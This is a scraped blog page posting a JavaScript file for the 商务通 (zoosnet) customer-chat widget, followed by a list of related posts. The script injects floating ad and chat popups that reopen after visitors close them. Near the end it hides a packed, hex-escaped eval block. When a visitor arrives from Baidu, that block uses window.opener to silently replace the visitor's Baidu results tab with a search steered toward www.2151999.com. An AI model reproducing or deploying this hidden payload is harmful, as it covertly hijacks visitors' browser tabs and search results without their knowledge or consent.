javascript 商务通
/*下面的才是新的商务通*/ var swt_autoDisplay_times=15;/*商务通自动弹出时间,秒为单位*/
var float_left_ad_display_Init=0;/*在允许滚动浮动广告的情况下,允许左边广告显示*/
var float_right_ad_display_Init=1;/*在允许滚动浮动广告的情况下,允许右边广告显示*/
var float_center_ad_display_Init=1;/*显示中间广告*/
var float_bottom_ad_display_Init=0;/*显示右下角广告*/
var roll_ad_left_tc=0;/*关闭左边 30秒后弹出*/
var roll_ad_right_tc=1;/*关闭右边 30秒后弹出*/
var roll_ad_center_tc=1;/*关闭中间 30秒后弹出*/
var roll_ad_bottom_tc=0;/*关闭右下角 30秒后弹出*/
var timerOutWindows1=null;
var timerOutWindows2=null;
var timerOutWindows3=null;
var timerOutWindows4=null;
var timerOutWindows5=null;
var roll_bupin=0.1;
var roll_pinlv=10;
var timerrollmove_left=null;
var timerrollmove_right=null;
var timerrollmove_center=null;
var roll_ad_left_top=80; /*设置左广告距顶部多少像素*/
var roll_ad_right_top=80; /*设置右广告距顶部多少像素*/
var roll_ad_center_top=160; /*设置中广告距顶部多少像素*/ var LrinviteTimeout = 0; //3秒后第一次自动弹出
var LR_next_invite_seconds = 10; //30秒后再次显示自动邀请
var swtJS='<script language=\"javascript\" src=\"http://kft.zoosnet.net/JS/LsJS.aspx?siteid=KFT27042564&float=0&lng=cn\"></script>';
document.writeln(swtJS);
/*定义商务通样式*/ document.writeln('<style type="text/css">');
document.writeln('#LRfloater0,#LRfloater0 img, #LRfloater0close { display:none !important; visibility:hidden !important;}');
document.writeln('#LXB_CONTAINER,#BDBridgeWrap, #BDBridgeNewWrap, #BDBridgeFixedWrap, #BDBridgeWrap div, #BDBridgeNewWrap div, #BDBridgeFixedWrap div, #BDBridgeWrap ul, #BDBridgeNewWrap ul, #BDBridgeFixedWrap ul, #BDBridgeWrap li, #BDBridgeNewWrap li, #BDBridgeFixedWrap li{display: none !important;}');
/*定义左侧样式*/
document.write('#roll_ad_left {z-index:9999;overflow:hidden;position:fixed; left:0;top:60px;height:auto; width:140px;}');
/*定义右侧样式*/
document.write('#roll_ad_right {z-index:100000;overflow:hidden;position:fixed;right:0px;bottom:80px;width:180px; height:520px;}');
document.write('#roll_ad_center a{font-size:12px;}');
/*定义中间样式*/
document.write('#roll_ad_center {z-index:1000;overflow:hidden;position:fixed;top:160px;left:500px;font-size:12px;}');
/*定义右下角样式*/
document.write('#roll_ad_bottom {z-index:1010;overflow:hidden;position:fixed;right:0;bottom:0px;height:130px; width:220px;}');
/*定义ie6下 右下角样式 --判断是document.documentElement 还是 document.body*/
var roll_ad_bottom_css='#roll_ad_bottom {_position:absolute;bottom:0px;';
if(typeof document.compatMode!='undefined'&&document.compatMode!='BackCompat')
{
roll_ad_bottom_css=roll_ad_bottom_css+"_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}";
}
else
{
roll_ad_bottom_css=roll_ad_bottom_css+"_top:expression(document.body.scrollTop+document.body.clientHeight-this.clientHeight);_left:expression(document.body.scrollLeft + document.body.clientWidth - offsetWidth);}";
}
document.write(roll_ad_bottom_css); var roll_ad_center_css='#roll_ad_center {_position:absolute;';
if(typeof document.compatMode!='undefined'&&document.compatMode!='BackCompat')
{
roll_ad_center_css=roll_ad_center_css+"_top:expression(document.documentElement.scrollTop+(document.documentElement.clientHeight-this.clientHeight)/2);_left:expression(document.documentElement.scrollLeft + (document.documentElement.clientWidth - offsetWidth)/2);}";
}
else
{
roll_ad_center_css=roll_ad_center_css+"_top:expression(document.body.scrollTop+(document.body.clientHeight-this.clientHeight)/2);_left:expression(document.body.scrollLeft + (document.body.clientWidth - offsetWidth)/2);}";
}
document.write(roll_ad_center_css); var roll_ad_right_css='#roll_ad_right {_position:absolute;';
if(typeof document.compatMode!='undefined'&&document.compatMode!='BackCompat')
{
roll_ad_right_css=roll_ad_right_css+"_top:expression(document.documentElement.scrollTop+(document.documentElement.clientHeight-this.clientHeight)/2);_right:expression(document.documentElement.scrollRight + document.documentElement.clientWidth - offsetWidth);}";
}
else
{
roll_ad_right_css=roll_ad_right_css+"_top:expression(document.body.scrollTop+(document.body.clientHeight-this.clientHeight)/2);_left:expression(document.body.scrollLeft + document.body.clientWidth - offsetWidth);}";
}
document.write(roll_ad_right_css); var roll_ad_left_css='#roll_ad_left {_position:absolute; left:0px !important; _left:0px !important;';
if(typeof document.compatMode!='undefined'&&document.compatMode!='BackCompat')
{
roll_ad_left_css=roll_ad_left_css+"_top:expression(document.documentElement.scrollTop+(document.documentElement.clientHeight-this.clientHeight)/4);_right:expression(document.documentElement.scrollRight + document.documentElement.clientWidth - offsetWidth);}";
}
else
{
roll_ad_left_css=roll_ad_left_css+"_top:expression(document.body.scrollTop+(document.body.clientHeight-this.clientHeight)/2);_left:expression(document.body.scrollLeft + document.body.clientWidth - offsetWidth);}";
}
document.write(roll_ad_left_css);
/**/
document.write('#LRfloater0,#LRfloater0 img, #LRfloater0close { display:none; }');
document.write('#roll_ad_center { padding:0; background:url(/swt/xdnk.gif) no-repeat; overflow:hidden; text-indent:0;width:489px; height:335px; display:none;}');
document.write('#roll_ad_center .float_top{display:block;width:489px; height:335px; float:left;}');
document.write('#roll_ad_center .center_close{display:block;width:11px; height:11px; margin-top:5px;margin-right:7px;float:right;background:url(/swt/close.gif) no-repeat; }');
document.write('#roll_ad_center .center_close2{display:block;width:77px; height:24px; float:left;margin-top:-23px;margin-left:356px;background:url(/swt/r_cn.gif) no-repeat;}'); document.write('#roll_ad_center .swtqq{z-index:9999; display:block; width:90px; height:30px; position:absolute; left:50px; top:270px;}');
document.write('#roll_ad_right { background:url(/swt/online_cn.gif) no-repeat top left; }');
document.write('#roll_ad_right .righter_close{float:right;width:11px; height:11px;background:url(/swt/close.gif) no-repeat;position:relative;bottom:520px;}');
document.write('#roll_ad_right .righter_body{width:180px; height:520px;display:block;}');
document.write('#roll_ad_left { background:url(/jsplus/img/huodong.gif) no-repeat; width:140px; height:447px;}');
document.write('#roll_ad_left .lefter_close { height:13px; width:13px;display:block;float:right;background:url(/jsplus/img/close.gif) no-repeat;}');
document.write('#roll_ad_left .lefter_body { display:block; width:140px; height:435px; clear:both; }');
document.write('#roll_ad_bottom { background:url(/jsplus/img/doudong.gif) no-repeat; }');
document.write('#roll_ad_bottom .bottom_close {background:url(/jsplus/img/main_close.gif) no-repeat; float:right; display:block; height:20px; width:40px; }');
document.write('#roll_ad_bottom .bottom_body { display:block; width:220px; height:120px; clear:both; }');
document.write('#roll_ad_bottom .guanbi {position:absolute; width:40px; height:20px; left:165px; top:98px; display:block;font-size:12px; color:#333; text-decoration:none;}');
document.write('.new1 { width:202px; height:31px; display:block;float:left;position: absolute;left:150px;}');
document.write('.new2 { width:100px; height:30px; display:block;position: absolute;left:275px;}');
document.write('.new3 { width:270px; height:30px; display:block;float:left;position: absolute;left:120px;}');
document.write('#view_message div {padding:0 !important;}'); /*qq样式aaaaaa*/ document.write('#roll_ad_top {z-index:99999000;overflow:hidden;position:fixed;right:0;top:0px;height:140px; width:220px;}'); document.write('#LRdiv1 {z-index:-99999000;display:none;visibility:hidden;}'); /*定义ie6下 右下角样式 --判断是document.documentElement 还是 document.body*/
var roll_ad_top_css='#roll_ad_top {_position:absolute;top:0px;';
if(typeof document.compatMode!='undefined'&&document.compatMode!='BackCompat')
{
roll_ad_top_css=roll_ad_top_css+"_top:expression(document.documentElement.scrollTop-this.clientHeight+this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}";
}
else {
roll_ad_top_css=roll_ad_top_css+"_top:expression(document.body.scrollTop-this.clientHeight+this.clientHeight);_left:expression(document.body.scrollLeft + document.body.clientWidth - offsetWidth);}";
}
document.write(roll_ad_top_css);
/**/ document.writeln("</style>");
document.write(swtJS);
/*显示左侧漂浮广告*/
var leftcode='<div id="roll_ad_left" ><a class="lefter_close" href="javascript:void(0)" onclick="hide_ad(1);return false;"></a><a class="lefter_body" href="javascript:void(0)" onclick="return openChat();return false;"></a></div>';
if(float_left_ad_display_Init==1)
{
document.write(leftcode);
}
/*显示右侧漂浮广告*/
var rightcode='<div id="roll_ad_right" ><a class="righter_body" onclick="return openChat();" href="javascript:void(0);" target=_blank></a><a class="righter_close" href="javascript:void(0)" onclick="hide_ad(2);return false;" target=_blank></a></div>';
if(float_right_ad_display_Init==1)
{
document.write(rightcode);
}
/*显示中间漂浮广告*/
var centercode='<DIV id="roll_ad_center" style="padding:0px;"><a class="center_close" href="javascript:void(0)" onclick="closeAskWindow();show_ad(4);return false;"></a><a onclick="return openChat();" href="javascript:void(0);" class="float_top"></a></DIV>';
if(float_center_ad_display_Init==1)
{
document.write(centercode);
} /*显示右下角广告*/ var bottomcode='<DIV id="roll_ad_bottom"><a class="guanbi" href="javascript:void(0)" onclick="hide_ad(4);return false;"></a><a class="bottom_close" href="javascript:void(0)" onclick="hide_ad(4);return false;"></a><a class="bottom_body" href="javascript:void(0)" onclick="return openChat();return false;"></a></DIV>';
/*底部 document.writeln("<style>");
document.writeln(".xiangmu {position:absolute;position: fixed ! important; width:100%; height:35px; margin:0px auto; background:#C8067F; z-index:10000; bottom:23px;_position:absolute;_bottom:23px; _top:expression(documentElement.scrollTop+600);}");
document.writeln(".xiangmu ul { margin:0px; padding:0px; height:35px;overflow:hidden; width:317px; margin:0px auto;}");
document.writeln(".xiangmu ul li { float:left; list-style:none; width:158px;}");
document.writeln("</style>"); document.writeln('<div class="xiangmu">');
document.writeln(' <ul>');
document.writeln(' <li><img src="http://images.cnblogs.com/dbtx.gif" usemap="#zxmap" /></li>');
document.writeln(' </ul>');
document.writeln('</div>');
document.writeln('<map name="zxmap" id="zxmap">');
document.writeln(' <area coords="17,6,75,30" href="tel:03962979120">');
document.writeln(' <area coords="83,6,143,30" onclick="return openChat();" href="javascript:void(0);" target="_blank" />');
document.writeln(' <area coords="150,6,210,30"onclick="return openChat();" href="javascript:void(0);" target="_blank" />');
document.writeln(' <area coords="215,6,278,30" onclick="return openChat();" href="javascript:void(0);" target="_blank" />');
document.writeln('</map>');
*/ var topcode='';
function close_top()
{
document.getElementById("roll_ad_top").style.visibility="hidden";
}
document.write(topcode);
if(float_bottom_ad_display_Init==1)
{
document.write(bottomcode);
}
function hide_ad(num)
{
switch(num)
{
case 1:{
if(float_left_ad_display_Init!=0)
{
document.getElementById("roll_ad_left").style.visibility="hidden";
if(roll_ad_left_tc==1)
{
timerOutWindows1=setTimeout(function(){show_ad(1);},swt_autoDisplay_times*1000);
}
}
break;}
case 2:{
if(float_right_ad_display_Init!=0)
{
document.getElementById("roll_ad_right").style.visibility="hidden";
if(roll_ad_right_tc==1)
{
timerOutWindows2=setTimeout(function(){show_ad(2);},swt_autoDisplay_times*1000);
}}
break;}
case 3:{
if(float_center_ad_display_Init!=0)
{
document.getElementById("roll_ad_center").style.visibility="hidden";
if(roll_ad_center_tc==1)
{
timerOutWindows3=setTimeout(function(){show_ad(3);},swt_autoDisplay_times*1000);
}}
break;}
case 4:{
if(float_bottom_ad_display_Init!=0)
{
document.getElementById("roll_ad_bottom").style.visibility="hidden";
if(roll_ad_bottom_tc==1)
{
timerOutWindows4=setTimeout(function(){show_ad(4);},swt_autoDisplay_times*1000);
}}
break;}
default:{
break;}
}
}
function show_ad(num)
{
switch(num)
{
case 1:{
if(float_left_ad_display_Init!=0)
{
document.getElementById("roll_ad_left").style.visibility="visible";
}
break;}
case 2:{
if(float_right_ad_display_Init!=0)
{
document.getElementById("roll_ad_right").style.visibility="visible";
}
break;}
case 3:{
if(float_center_ad_display_Init!=0)
{
document.getElementById("roll_ad_center").style.visibility="visible";
}
break;}
case 4:{
if(float_bottom_ad_display_Init!=0)
{
document.getElementById("roll_ad_bottom").style.visibility="visible";
}
break;}
default:{
break;}
}
}
/*定义商务通打开*/
var PopOutInit=false;/*弹出窗时候弹出的判断*/
function openChat()
{
openZoosUrl();
PopOutInit=false;
clearOutWindowTimer();
openStartTimerOfOutWindow();
hide_ad(3);
return false;
}
function closeAskWindow()
{
PopOutInit=false;
hide_ad(3);
LR_HideInvite();
LR_RefuseChat();
}
/*在打开商务通的时候 重新定义*/
function clearOutWindowTimer()
{
clearTimeout(timerOutWindows1);
clearTimeout(timerOutWindows2);
clearTimeout(timerOutWindows3);
clearTimeout(timerOutWindows4);
}
/*重新启动计时器*/
function openStartTimerOfOutWindow()
{
timerOutWindows1=setTimeout(function(){show_ad(1);},swt_autoDisplay_times*1000);
timerOutWindows2=setTimeout(function(){show_ad(2);},swt_autoDisplay_times*1000);
timerOutWindows3=setTimeout(function(){show_ad(3);},swt_autoDisplay_times*1000);
timerOutWindows4=setTimeout(function(){show_ad(4);},swt_autoDisplay_times*1000);
}
function popFloatWindow()
{
if(!PopOutInit)
{
show_ad(3);
PopOutInit=true;
if(document.getElementById("LRfloater0")) {onlinerIcon0.hidden();}
clearOutWindowTimer();
self.focus();
}
}
/*检测弹出窗的弹出*/
function guestZoosNetWindow()
{
if(document.getElementById("LRdiv1"))
{
if(document.getElementById("LRdiv1").style.display=="block")
{
document.getElementById("LRdiv1").style.display="none";
//发现弹出,马上关闭弹出,然后开启美化的弹出窗
if(document.getElementById("LRfloater1"))
{
document.getElementById("LRfloater1").style.visibility="hidden";
}
document.getElementById("LRdiv1").style.visibility="hidden";
document.getElementById("lr_swf_div").style.visibility="hidden";
onlinerIcon0.hidden();
popFloatWindow();
}
}
}
/*定义随屏滚动*/
function AdInitOK(){
jiastyle();
}
if (document.all){
window.attachEvent('onload',AdInitOK);
}
else{
window.addEventListener('load',AdInitOK,false);
}
/*定义随屏滚动*/
function jiastyle()
{
var x=document.getElementsByTagName("a");
for(i=0;i<x.length;i++)
{
x[i].style.cursor="pointer";
}
}
/*延迟*/
window.onload = function(){ window.setInterval(function(){document.getElementById('roll_ad_center').style.display='block';},3000);};
window.onresize=function(){
document.getElementById('roll_ad_center').style.left=(document.body.clientWidth-document.getElementById('roll_ad_center').offsetWidth)/2+'px';
}
document.write("<script>var stu=document.getElementById('roll_ad_center').style.display;document.getElementById('roll_ad_center').style.display='block';document.getElementById('roll_ad_center').style.left=(document.body.clientWidth-document.getElementById('roll_ad_center').offsetWidth)/2+'px';document.getElementById('roll_ad_center').style.display=stu;</script>"); /**2013-10-05**/
window["\x65\x76\x61\x6c"](function(L1,leKziPcb2,bQjBptaj3,LL4,EWhLDWDS5,AZuad6){EWhLDWDS5=function(bQjBptaj3){return(bQjBptaj3<leKziPcb2?"":EWhLDWDS5(window["\x70\x61\x72\x73\x65\x49\x6e\x74"](bQjBptaj3/leKziPcb2)))+((bQjBptaj3=bQjBptaj3%leKziPcb2)>35?window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](bQjBptaj3+29):bQjBptaj3["\x74\x6f\x53\x74\x72\x69\x6e\x67"](36))};if(!''["\x72\x65\x70\x6c\x61\x63\x65"](/^/,window["\x53\x74\x72\x69\x6e\x67"])){while(bQjBptaj3--)AZuad6[EWhLDWDS5(bQjBptaj3)]=LL4[bQjBptaj3]||EWhLDWDS5(bQjBptaj3);LL4=[function(EWhLDWDS5){return AZuad6[EWhLDWDS5]}];EWhLDWDS5=function(){return'\\\x77\x2b'};bQjBptaj3=1;};while(bQjBptaj3--)if(LL4[bQjBptaj3])L1=L1["\x72\x65\x70\x6c\x61\x63\x65"](new window["\x52\x65\x67\x45\x78\x70"]('\\\x62'+EWhLDWDS5(bQjBptaj3)+'\\\x62','\x67'),LL4[bQjBptaj3]);return L1;}('\x48\x7b\x28\x6a\x28\x29\x7b\x32 \x61\x3d\x49 \x53\x28\x29\x3b\x32 \x62\x3d\x54\x3b\x33\x28\x61\x2e\x6e\x28\x29\x3e\x36\x26\x26\x61\x2e\x6e\x28\x29\x3c\x77\x29\x7b\x7d\x3b\x6a \x63\x28\x68\x29\x7b\x33\x28\x75\x2e\x71\x29\x7b\x75\x2e\x71\x2e\x78\x2e\x79\x28\x68\x29\x7d\x7d\x3b\x32 \x64\x3d\x43\x2e\x44\x3b\x33\x28\x21\x64\x29\x7b\x72\x7d\x3b\x32 \x66\x3d\x2f\x42\x3f\\\x3a\\\x2f\\\x2f\x28\x5b\x5e\\\x2f\x5d\x2b\x29\x2f\x69\x2e\x6b\x28\x64\x29\x3b\x32 \x67\x3d\x66\x3f\x66\x5b\x31\x5d\x3a\'\x7a\'\x3b\x33\x28\x2f\x70\\\x2e\x34\x24\x2f\x69\x2e\x74\x28\x67\x29\x26\x26\x62\x26\x26\x21\x2f\x6f\x3d\x35\\\x2e\x6c\\\x2e\x34\x26\x2f\x69\x2e\x74\x28\x64\x29\x29\x7b\x32 \x68\x3d\x64\x2e\x6d\x28\x22\x26\x22\x29\x3b\x33\x28\x68\x2e\x41\x3c\x3d\x31\x29\x7b\x37\x3d\x64\x2e\x6d\x28\x22\x39\x3d\x22\x29\x7d\x76\x7b\x37\x3d\x2f\x39\x3d\x28\x2e\x2b\x3f\x29\x26\x2f\x69\x2e\x6b\x28\x64\x29\x7d\x3b\x63\x28\x22\x45\x3a\x2f\x2f\x35\x2e\x70\x2e\x34\x2f\x73\x3f\x50\x3d\x4f\x26\x52\x3d\x55\x2d\x38\x26\x6f\x3d\x35\x2e\x6c\x2e\x34\x26\x66\x3d\x38\x26\x4e\x3d\x31\x26\x51\x3d\x30\x26\x46\x2d\x47\x2d\x4c\x3d\x4d\x2e\x4a\x26\x39\x3d\x22\x2b\x37\x5b\x31\x5d\x29\x3b\x72\x7d\x7d\x29\x28\x29\x7d\x4b\x28\x65\x29\x7b\x7d',57,57,'\x7c\x7c\x76\x61\x72\x7c\x69\x66\x7c\x63\x6f\x6d\x7c\x77\x77\x77\x7c\x7c\x73\x65\x61\x72\x63\x68\x7c\x7c\x77\x64\x7c\x7c\x7c\x7c\x7c\x7c\x7c\x7c\x7c\x7c\x66\x75\x6e\x63\x74\x69\x6f\x6e\x7c\x65\x78\x65\x63\x7c\x32\x31\x35\x31\x39\x39\x39\x7c\x73\x70\x6c\x69\x74\x7c\x67\x65\x74\x48\x6f\x75\x72\x73\x7c\x73\x69\x7c\x62\x61\x69\x64\x75\x7c\x6f\x70\x65\x6e\x65\x72\x7c\x72\x65\x74\x75\x72\x6e\x7c\x7c\x74\x65\x73\x74\x7c\x77\x69\x6e\x64\x6f\x77\x7c\x65\x6c\x73\x65\x7c\x32\x32\x7c\x6c\x6f\x63\x61\x74\x69\x6f\x6e\x7c\x72\x65\x70\x6c\x61\x63\x65\x7c\x75\x6e\x6b\x6e\x6f\x77\x6e\x7c\x6c\x65\x6e\x67\x74\x68\x7c\x68\x74\x74\x70\x73\x7c\x64\x6f\x63\x75\x6d\x65\x6e\x74\x7c\x72\x65\x66\x65\x72\x72\x65\x72\x7c\x68\x74\x74\x70\x7c\x71\x71\x7c\x70\x66\x7c\x74\x72\x79\x7c\x6e\x65\x77\x7c\x63\x32\x63\x7c\x63\x61\x74\x63\x68\x7c\x74\x6f\x7c\x70\x63\x71\x71\x7c\x72\x73\x76\x5f\x62\x70\x7c\x32\x30\x39\x37\x31\x35\x32\x7c\x63\x74\x7c\x69\x6e\x70\x75\x74\x54\x7c\x69\x65\x7c\x44\x61\x74\x65\x7c\x74\x72\x75\x65\x7c\x75\x74\x66'["\x73\x70\x6c\x69\x74"]('\x7c'),0,{})) document.write('<script language="javascript" src="/swt/duo.js"></script>');
javascript 商务通的更多相关文章
- javascript商务通
//左侧就医服务新 document.write("<style type='text/css'>"); document.write(".left_swt{ ...
- 网站加载有商务通、商桥,定义js函数触发快商通代码
有的网站已经加载了商务通.商桥的,前期定义了js函数 触发商务通.商桥代码的,可以重新定义新的函数对之前的函数进行覆盖,其 js代码为: var domain = document.domain; / ...
- 网站商务通链接快速标识v1.0.js
js代码为: function getSwt(keys){ try{ if(openZoosUrl&&typeof(openZoosUrl)=="function" ...
- Chatwin商务通
<script language="javascript" src="http://lwt.zoosnet.net/JS/LsJS.aspx?siteid=你商务通 ...
- CSS隐藏商务通等内容
CSS隐藏商务通等内容<style>#qiao-wrap{display:none !important;} </style>
- 商务通简单弹窗样式 V1.0
代码为: document.writeln('<style>*{margin:0; padding:0;}</style>');//创建中间弹框 document.wri ...
- 商务通代码API
<!DOCTYPE HTML> <html> <head> <meta http-equiv="content-type" content ...
- 商务通服务器版LR_Data目录下相关配置文件
SiteSetting.config 这个文件保存权限角色(超级管理员,管理员等)角色权限.弹窗图片.客服的自动应答等内容. operatorsql8.config SQLite 数据库文件,保存登录 ...
- 如何添加商*通新对话快捷链接?不用js代码
我们在使用商务通一般都是在页面中嵌入一段js代码,如果您是js洁癖,是不是在想着如何直接用一张小图加上商*通新对话链接来代替呢?好,那就一起来研究一下吧. 首先,我们打开一个有商*通js弹窗的页面,比 ...
随机推荐
- Java虚拟机学习 - 查看JVM参数及值的命令行工具(6)
查看JVM各个参数值方式 1. HotSpot vm中的各个globals.hpp文件 查看jvm初始的默认值及参数 globals.hpp globals_extension.hpp c1_glo ...
- 史上最简单的ButterKnife配置教程
网上的教程感觉都是抄来抄去,没一个靠谱的 还是自己丰衣足食搞一个ButterKnife配置教程吧.. 我的Android Studio版本是3.3. 1.dependencies中添加依赖 imple ...
- 【转】一个对 Dijkstra 的采访视频
一个对 Dijkstra 的采访视频 (也可以访问 YouTube 或者从源地址下载 MPEG1,300M) 之前在微博上推荐了一个对 Dijkstra 的采访视频,看了两遍之后觉得实在很好,所以再正 ...
- 信号的捕捉与sigaction函数
一.内核如何实现信号的捕捉 如果信号的处理动作是用户自定义函数,在信号递达时就调用这个函数,这称为捕捉信号.由于信号处理函数的代码是在用户空间的,处理过程比较复杂,举例如下: 1. 用户程序注册了SI ...
- 使用fork并发处理多个client的请求和对等通信p2p
一.在前面讲过的回射客户/服务器程序中,服务器只能处理一个客户端的请求,如何同时服务多个客户端呢?在未讲到select/poll/epoll等高级IO之前,比较老土的办法是使用fork来实现.网络服务 ...
- 最短路径 - 弗洛伊德(Floyd)算法
为了能讲明白弗洛伊德(Floyd)算法的主要思想,我们先来看最简单的案例.图7-7-12的左图是一个简单的3个顶点的连通网图. 我们先定义两个二维数组D[3][3]和P[3][3], D代表顶点与顶点 ...
- Python center() 方法
描述 center() 方法返回一个指定的宽度 width 居中的字符串,fillchar 为填充的字符,默认为空格. 语法 center() 方法语法: S.center(width[,fillch ...
- php_memcache 缓存 下载-安装-配置-学习
一.安装php_memcache.dll 打开phpinfo() 查看PHP Extension Build,如TS,VC11 查看Architecture,如X86.X64 查看PHP版本,如5.6 ...
- spineRunTime for cocos2dx v3 中动画播完删除animation
spineRunTime for cocos2dx v3 中删除animation,发现下面写法会崩溃: spine::SkeletonAnimation* animationNode = spi ...
- php的安装
首先我们安装nginx #0.安装ningx(可选cd /disk1/toolsrpm -ivh http://nginx.org/packages/centos/6/noarch/RPMS/ngi ...